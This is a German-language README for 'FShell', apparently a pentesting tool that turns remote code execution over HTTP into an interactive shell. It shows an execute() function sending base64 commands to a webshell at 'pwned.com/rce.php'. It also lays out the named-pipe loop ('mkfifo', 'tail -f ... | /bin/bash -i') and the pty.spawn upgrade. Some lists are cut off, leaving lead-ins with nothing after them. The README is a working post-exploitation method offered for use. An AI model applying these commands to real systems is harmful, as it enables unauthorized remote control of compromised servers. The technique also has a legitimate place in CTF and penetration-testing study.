
Meine python3-Implementierung einer Forward-Shell
FShell ist meine Implementierung einer Forward Shell. Sie wurde entwickelt, um eine interaktive tty mittels Remote-Code-Ausführung über ein zustandsloses Protokoll (z. B. HTTP) zu erhalten.
Allerdings hat sie auch Nachteile:
Die Anforderungshäufigkeit kann geändert werden, indem die Variable BEACONING_DELAY modifiziert wird.
Python3 & Bibliotheken:
Derzeit wird nur Linux unterstützt. Erforderlich sind grundlegende Befehle/Werkzeuge auf dem entfernten System:
Ändere die Variable WRITABLE_FOLDER, falls /tmp nicht beschreibbar ist oder du etwas Besseres hast (bevorzuge /dev/shm).
Du musst die Funktion execute neu definieren, um deine Remote-Code-Ausführung durchzuführen:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Raw shell command to execute on the remote system
:timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
If you cannot, put named pipe creation in separated thread
:verbose Print full cmd executed on the remote system (Debug mode)
"""
# Put your RCE code here
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # You can apply formating if the output is not only the output of command

Die Konzepte sind ziemlich einfach.
Zuerst musst du eine Named Pipe auf dem entfernten System erstellen.
Sie wird verwendet, um Befehle an die Shell zu senden.
mkfifo /tmp/input.
Dann erstelle eine Bash-Schleife, die die Named Pipe ständig liest und an einen interaktiven Bash-Prozess sendet, der stdin & stderr in eine Ausgabedatei sendet.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[Named Pipe lesen] -> [Inhalt der Named Pipe ausführen] -> [stdin/stderr in Ausgabedatei senden] -> [Zurück zum Lesen der Named Pipe wegen der Tail-Option '-f']
Im nächsten Schritt wird ein Python-Thread gestartet, der regelmäßig cat /tmp/output ausführt, um die Shell-Ausgabe zu erhalten.
Wenn der Thread Daten findet, löscht er den Inhalt der Ausgabedatei mit echo '' > /tmp/output
Tipps: Um Fehlerprotokolle für eine nicht vorhandene Datei zu vermeiden, führt das Skript vor dem Start des 'GetOutput'-Threads den Befehl 'id' aus, um die Ausgabedatei zu erstellen.
Einer der letzten Schritte besteht darin, die Benutzereingabe aus unserem Python-Skript zu lesen und an die Named Pipe zu sendenecho USERCMD > /tmp/input
Und der letzte Trick, um eine entfernte interaktive tty zurückzubekommen, ist der Befehl 'upgrade_shell'.
Dieser Befehl führt ein python -c 'import pty;pty.spawn("/bin/bash")' (sowie einige Exporte und Aliase) aus, um eine echte tty für den aktuellen Prozess zu erzeugen (verwendet in der Named-Pipe-Schleife).
Dank an @ippsec, ich wusste nicht, dass so etwas möglich ist, bevor ich dieses Video Stratosphere HTB Write Up gesehen habe!
Ich hoffe, es gefällt dir!